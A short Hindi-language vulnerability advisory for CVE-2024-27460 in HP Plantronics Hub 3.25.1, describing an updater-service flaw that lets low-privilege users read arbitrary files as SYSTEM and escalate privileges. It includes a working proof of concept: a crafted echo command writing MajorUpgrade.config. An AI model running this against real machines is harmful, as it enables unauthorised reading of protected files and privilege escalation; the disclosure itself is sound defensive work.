CVE-2024-27460

HP Plantronics Hub 3.25.1 अपडेटर विशेषाधिकार वृद्धि/मनमाना फ़ाइल पढ़ना

विवरण:

HP Plantronics Hub 3.25.1 में एक बग है जो निम्न-विशेषाधिकार वाले उपयोगकर्ताओं को उस मशीन पर SYSTEM के रूप में मनमाना फ़ाइल पढ़ने की अनुमति देता है जहाँ एप्लिकेशन स्थापित है। इसके अलावा, इस दोष का दुरुपयोग करके SYSTEM उपयोगकर्ता तक विशेषाधिकार बढ़ाना संभव है।

प्रभावित संस्करण

HP Plantronics Hub 3.25.1

प्रभावित सेवा(एँ)

असुरक्षित पथ: "C:\ProgramData\Plantronics\Spokes3G"

सेवा: PlantronicsUpdateService

पुनरुत्पादन के चरण (POC):

• cmd.exe खोलें
• cd C:\ProgramData\Plantronics\Spokes3G का उपयोग करके नेविगेट करें
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• वांछित फ़ाइल "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp" में कॉपी हो जाएगी, जिस तक किसी भी प्रमाणित उपयोगकर्ता की पहुँच है।

द्वारा खोजा गया:

• फरीद ज़ेरौक डेलॉयट बेल्जियम के
• अलाय कचौह मास्टरकार्ड यूरोप के